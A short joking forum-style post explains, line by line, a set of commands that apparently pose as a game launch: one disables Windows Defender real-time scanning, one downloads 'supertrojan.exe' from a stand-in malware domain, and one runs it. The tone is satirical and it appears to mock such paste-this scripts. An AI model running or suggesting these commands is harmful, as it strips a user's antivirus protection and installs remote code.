Set-MpPreference -DisableRealtimeMonitoring $true

Disables malware scanning in windows (I assume)

curl https://malwarefo.ru/supertrojan.exe

Downloads supertrojan.exe from a Russian website

./supertrojan.exe

Executes the file

./game.exe

Runs the game

exit

Closes the command prompt.

0

Opens the portal to the underworld, to ensure that the command prompt closes correctly.

Not saying you should understand it, but it does answer it if you understand it